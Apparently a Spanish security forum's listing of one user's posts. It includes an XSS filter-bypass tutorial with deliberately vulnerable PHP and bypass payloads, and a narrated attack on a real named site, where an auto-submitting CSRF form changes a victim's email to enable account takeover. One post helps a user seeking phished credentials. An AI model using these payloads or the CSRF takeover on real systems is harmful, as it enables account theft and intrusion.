Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - rollth

#41
Wargames y retos / Re:Reto XSS #1 [Fácil]
Abril 24, 2018, 04:21:04 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola underc0ders, Estoy practicando los XSS y logré hacer el otro reto (el de la pagina vieja) y logre completarlo
Pero en este caso no puedo conseguir inyectar debido a supongo una defensa 'antixss' que tiene el sitio

Podrian darme una mano ?
Está usando esta función:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Que tiene una diferencia sustancial con esta otra:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

A ver si te sirve  ;)

Saludos.
#42
Hay una carpeta donde también se inician los binarios que hay dentro, además de lo que te ha dicho @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para verla presiona win+r y escribe "shell:startup".

Saludos.
#43
Pues hace un tiempo di una charla hablando sobre esto y dando consejos para los nuevos.
Puede que te interese echarle un ojo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#44
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buen post rolo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esto es el WAF de CloudFlare, que comprueba todas las peticiones que se hacen a dicha página web y dependiendo de si son peligrosas o no decide si bloquearlas, lo que me hizo desilusionarme un poco ya que esto complica bastante las cosas.


Dejo esto por aqui y me retiro lentamente... 18.197.186.60

Creo que tu comentario de una linea ya es mejor que todo el Post jajajajaja

Saludos.
#45
Muy buenas Underc0ders,

hace tiempo descubrí una página en la que creas un perfil y la gente puede hacerte preguntas para que tu respondas de una forma anónima. Por lo visto se puso algo de moda entre los adolescentes en España, se trata de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Hoy me ha dado algo de intriga y me he puesto a ver si le encontraba algo interesante. Lo primero que me ha dado por mirar ha sido una opción en la que podías dar un "Me Gusta" al perfil de la persona.



Vamos a abrir BurpSuite y veamos como va la petición al pulsar este botoncito.



Vemos que solo enviamos un parámetro que es el ID que corresponde al usuario al que se le va a añadir el "Me Gusta". Sabiendo esto, pensé que con una tautología tal vez pudieramos o bien dar un punto a todos los usuarios de la plataforma, o bien encontrar una bonita blind SQLi.

Código: php
id=usuario' OR 1=1 -- -


Al contrario de lo que yo pensaba me encontré como respuesta algo como así.



Esto es el WAF de CloudFlare, que comprueba todas las peticiones que se hacen a dicha página web y dependiendo de si son peligrosas o no decide si bloquearlas, lo que me hizo desilusionarme un poco ya que esto complica bastante las cosas.



Después de esto seguí mirando a ver si encontraba algo interesante, al rato de estar dando vueltas sin ningún tipo de sentido decidí mirar la configuración de una cuenta falsa que me había creado.



Al comprobar como era la petición al hacer un cambio en la configuración vemos lo siguiente.



Bueno, vemos que no envía ningún tipo de tocken, así que es vulnerable a CSRF y CloudFlare no será capaz de bloquear este tipo de ataque. Vamos a imitar el formulario, pondremos que envíe nuestro correo y lo subimos a algún tipo de Hosting privado. A mi me quedó de la siguiente forma.

Código: html5

<head>
</head>
<body>
<form action="http://thiscrush.com/settings.php?cmd=go" method="POST" id="myForm">
<input type="hidden" name="email" value="[email protected]" />
<img src=x onerror="myFunction()">
<form>
<script>
function myFunction() {
    document.getElementById("myForm").submit();
}
</script>
</body>


Ahora con tan solo enviarle el link se le cambiaría el correo del usuario, así que lo siguiente que vamos a hacer es ir a la opción de recuperar contraseña y poner nuestro correo



Hay dos cosas graciosas en esto. La primera es que las contraseñas no son hasheadas, si no que se guardan en texto plano, y en lugar de enviarte un correo para que cambies la contraseña te la envían directamente, lo que es peligroso ya que pueden quedar comprometidas otras redes en las que el usuario use la misma contraseña.

El segundo dato gracioso es que usé una cuenta de YopMail para hacer esta prueba, y la respuesta que me dió fue la siguiente.



Por último me gustaría insistir en la importancia de tener las configuraciones bien hechas en nuestros servidores, ya que como hemos visto, a pesar de usar un WAF podemos tener problemas. Espero que les haya gustado.

También me pueden seguir en Twitter si les hace ilusión: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#46
Muchas gracias por los comentarios chicos.
Espero que os haya resultado útil.

Saludos.
#47
Exiftool con diferencia:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#48
Muy buenas Underc0ders,

hoy vamos a seguir avanzando con las XSS para llegar a entenderlas lo mejor que podamos, antes de continuar, aconsejaría leer estos dos Posts.

Básico sobre XSS (como explotarlo): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como explotar XSS por método post y hacer que se propague nuestro script: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En este caso vamos a ver como explotar la XSS en diferentes casos y saltar una buena cantidad de filtros.

Vamos a empezar por un caso básico, imaginemos que tenemos este código.

Código: php

<html>
<title>XSS 1</title>
</html>
<body>
<form action="xss1.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$color = "black";
$color = $_GET["texto"];
echo '<p style="color:' . $color . '">Esto es un texto</p>';

?>
</body>


Cuando aprendemos sobre XSS nos dicen que para hacer saltar la alerta tenemos que poner algo de este estilo: "<script>alert("XSS")</script>".
El problema es que en este caso se mete dentro de un atributo de <p> por lo que quedaría de la siguiente forma sin ejecutarse.


Para hacer que salte la alerta debemos salir de este atributo, podríamos hacerlo de la siguiente forma:
"><script>alert("XSS")</script> || Quedaría así: <p style=""><script>alert("XSS")</script>

De esta forma nos saltaría la alerta.



Vamos a poner un caso parecido, la diferencia es que ahora la información que nosotros le damos la mete en un javascript, veamos el código.

Código: php

<html>
<title>XSS 2</title>
</html>
<body>
<form action="xss2.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto = $_GET["texto"];
echo '<script>var a="' . $texto . '";if(a=="Hola"){document.write("Hola amigo")};</script>';

?>
</body>


Si metieramos el típico "<script>alert("XSS")</script>" quedaría de esta forma y no se ejecutaría.


Lo que vamos a hacer es cerrar el String y ponemos nuestro código directamente:

"; alert("XSS"); a="texto || Quedaría así: var a=""; alert("XSS"); a = "texto";if(a=="Hola"){document.write("Hola amigo")};

De esta forma sí nos saltaría la alerta.



Ya es hora de ver el primer filtro, miremos primero el código.

Código: php

<html>
<title>XSS 3</title>
</html>
<body>
<form action="xss3.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto = $_GET["texto"];
$banned   = 'script';
$pos = strpos($texto, $banned);
if($pos === false){
echo $texto;
}
else{
echo '<p>Filtro AntiXSS</p>';
}

?>
</body>


Lo que estamos haciendo aquí es enviar un mensaje de error en caso de que la subcadena 'script' esté dentro del string. Veamos lo que sale con nuestro clásico "<script>alert("XSS")</script>".



En este caso tenemos dos formas de abordarlo:
- <SCRIPT>alert("XSS")</SCRIPT> || Esta función es KeySensitive por lo que no lo detectaría con mayusculas.
- <body onload=alert("XSS")> || Se puede ejecutar JavaScript a través de una etiqueta y un evento.

Os dejo aquí una lista de eventos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

De estas formas nos saltaría la pantallita.



Veamos un nuevo filtro, en este caso lo que hace es eliminar todo lo que pueda hacer que se ejecute código javascript sin ser keySensitive, veamos el filtro.

Código: php
<html>
<title>XSS 4</title>
</html>
<body>
<form action="xss4.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto = $_GET["texto"];
$banned   = array('<script>', '</script>', 'onload', 'onerror', ' onmousemove', 'onkeypress');
$texto = str_ireplace($banned, "", $texto);
echo $texto;


?>
</body>


Veamos que ocurre si ponemos nuestra prueba mágica.



La forma de saltar este filtro es la siguiente:
-<scr<script>ipt>alert("XSS")</scr</script>ipt> || De esta forma eliminaría las etiquetas que hay de sobra y quedaría perfecto para ejecutarse.

Veamos si salta la alerta.


Podemos proseguir, en este caso cuando detecta unas comillas le añade el caracter "\" bloqueando que se abran y se cierren strings, por lo que la técnica de poner algo en medio no nos valdría, ya que sería todo eliminado. A esta técnica de filtrar se le llama "Magic Quotes". Tambien se puede dar el caso de que elimine todo lo que hay dentro de las comillas incluidas estas. Veamos el código.

Código: php
<html>
<title>XSS 5</title>
</html>
<body>
<form action="xss5.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto = $_GET["texto"];
echo addslashes($texto);


?>
</body>


Veamos lo que pasa si enviamos nuestro script mágico.



Para saltar esto y podes añadir Strings lo haremos de la siguiente forma:

- <script>alert(String.fromCharCode(88,83,83))</script> || De esta forma se crea un String con los valores introducidos dentro de la tabla char.

Podemos ver la lista de valores aquí: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Veamos si de esta forma nos salta la alerta.



Veamos un nuevo filtro, ahora nos va a eliminar los parentesis, para que no podamos llamar a funciones en javascript, el código quedaría así:

Código: php
<html>
<title>XSS 6</title>
</html>
<body>
<form action="xss6.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto = $_GET["texto"];
$banned = array('(', ')');
$texto = str_ireplace($banned, "", $texto);

echo $texto;


?>
</body>


Y quedaría así cuando intentamos con nuestro truco principal.



Primero vamos a ver como quedaría el filtro y después vemos como funciona:

- <iframe src="data:text/html, %253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2522%2558%2553%2553%2522%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e"></iframe>

Lo primero que tenemos es la etiqueta iframe, esta etiqueta sirve para cargar contenido exterior con el atributo src, viene de source y está pidiendo el enlace de donde cargamos el contenido.

Dentro de esta etiqueta tenemos data:text/html, aquí estamos diciendo que la información que le vamos a pasar información de tipo html, este acepta la codificación URL encode.

Esta codificación se usa en los navegadores para pasar información, y consta de un "%" y un número hexadecimal.
Podemos ver la tabla hexadecimal aquí: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
También podemos usar esta herramienta poniendo % como limitador.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si codificamos <script>alert("XSS")</script> a URL encode quedaría de la siguiente forma:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e

El problema es que si lo ponemos así en el navegador este lo transformará a texto normal, por eso vamos a hacer una nueva codificación con este sistema, así al navegador transformarlo quedará como lo acabamos de enseñar que es como nos interesa. Quedando así:

25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%32%32%25%35%38%25%35%33%25%35%33%25%32%32%25%32%39%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65

A esta técnica se le conoce como doble URL encode. Veamos si nos salta la alerta.



Por último vamos a ver como podríamos byppas como podríamos hacer un bypass de un htmlentities. Partiremos del siguiente código.

Código: php

<html>
<title>XSS 7</title>
</html>
<body>
<form action="xss7.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto = $_GET["texto"];
echo '<script>var a="' . htmlentities($texto) . '";document.write(a);</script>';

?>
</body>


Veamos que pasa si introducimos el script que hemos estado usando todo el rato.



Para byppasear esto lo haríamos de dos formas diferentes, primero las veremos y luego las explicamos.

- \x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
- \u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0058\u0053\u0053\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

Javascript tiene varias formas de introducir caracteres, y es la propia consola la que lo transforma. Además esto son carácteres que el htmlentities no filtra.
Por eso al pasarlo por document.write() esto se escribe de una forma normal y se ejecuta. Este filtro para htmlentities solo se podría usar en casos como este.

En el primer caso lo estamos guardando como hexadecimal, con el limitador \x, podemos hacerlo con la misma herramienta de antes.

En el segundo caso lo que estamos guardando son carácteres unicode, con el limitador \u00. Podemos ver la lista de carácteres unicode aquí: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y podemos usar esta herramienta poniendolo en C/C++ source para hacerlo más rápido: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Veámos si salta la alerta.



Bueno chicos, por hoy hemos terminado, las XSS tienen el plus de ser una vulnerabilidad muy divertida por tener mucho juego, esto son solo unas técnicas mas o menos comunes, pero ya verán que con esto tendrán que jugar y mezclar las diferentes técnicas o reinventarlas.

También me pueden seguir en Twitter si les hace ilusión: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.

#49
Pues es algo que se sabía ya desde hace tiempo.
Personalmente nunca he pagado por algo suyo, pero hay muchos de sus cursos por internet y son sencillamente una basura, información que encuentras facilmente por Google y mejor explicada.
Además no es la primera vez que tienen problemas de este estilo.

Saludos.

PD: No se si sea el antiguo HackingMexico, que es lo que he pensado de primeras, o esta empresa desapareció cuando asesinaron a su dueño.
#50
Que buena herramienta.
Te felicito, se de alguien que va a probar a descargarsela ahora mismo.

Saludos.
#51
Bienvenido al grupo :D

Espero que te lo pases bien por aqui.

Saludos.
#52
Puedes probar a usar ssh que es el protocolo de acceso remoto por defecto :D

Saludos.
#53
Hacking / Re:Clonar una página web para Phishing
Marzo 16, 2018, 02:47:35 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ya sé cómo clorar una página con uno de estos programa lo que no sé es Cómo hacer para que los datos me lleguen a mi Hotmail

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mira a ver si te sirve.

Saludos.
#54
Dudas y pedidos generales / Re:Ayuda con termux
Marzo 16, 2018, 11:30:39 AM
Primera respuesta en Google.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#55
Dudo que eso siga en pie, la fecha de la noticia es de 2012.

Saludos.
#56
Dudas y pedidos generales / Re:¿Por donde inicio?
Febrero 26, 2018, 06:52:31 AM
Yo empezaría por una de estas dos.

Talleres de Underc0de: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Curso de Hacking Desde Cero: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero que te sirva.
#57
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ANTRAX TU TRABAJO ES EXCELENTE PERO ME PREGUNTO SI PODRIDAS HACER UN MINI TUTORIAL DE COMO DESCARGAR E INSTALAR KALI LINUX EN VMWARE .POR QUE YO E BUSCADO BASTANTES TUTORILES Y POR ALGUNA RAZÓN SE ME LAGGUEA TODO EL PC EN LA PARTE DELA INSTALACION. :(

GRACIAS POR TU APOYO.

Eso no es porque esten mal los tutoriales, ¿que PC usas?
#58
Para mi la clave es la práctica, por mucho que leas si no lo practicas te quedarás en algo borroso, y ese algo borroso desaparecerá al cabo del tiempo.

Saludos.
#59
Pues python tiene su propio debugger que puedes usar para ello.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#60
Dudas y pedidos generales / Re:blind sql injection
Febrero 10, 2018, 01:39:47 PM
El parámetro no tiene que ser id, pero debe haber un parámetro para introducir el payload, ya sea por el método GET a través de la url o a través del método POST.

Saludos.